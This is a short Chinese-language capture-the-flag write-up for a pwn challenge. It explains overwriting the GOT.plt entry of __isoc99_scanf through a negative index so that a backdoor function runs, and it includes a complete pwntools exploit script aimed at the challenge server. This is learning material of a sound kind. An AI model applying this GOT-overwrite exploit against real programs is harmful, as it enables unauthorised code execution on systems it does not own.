这题的两个输入让我对于修改函数的got.plt地址,从而间接执行我们想要的函数
这里al是上文传来的bss段的地址
学习别的师傅的文章了解到:bss段距离调用函数一般必经之地:"got.plt"地址非常近,我们细心算一下发现不过50字节左右,上面的图片两次输入就是往某个地址写入数据的意思,那么将“__isoc99_scanf”的got.plt修改位后门函数即可。
WP:
from pwn import*
#p=process('./dog')
p=remote('node4.buuoj.cn',28334)
elf=ELF('./dog')
shell=0x80485cb
p.sendlineafter('>','-7')
p.sendlineafter("Give your name plz: ",p32(shell))
p.interactive()
小小小结:
- 利用往某个地址特别是"got.plt"地址输入(达到覆盖修改的目的)数据,可以间接执行我们想要的函数,因为一般的函数执行都要利用"got.plt"地址去寻找函数真正地址。
- 利用输入函数去修改。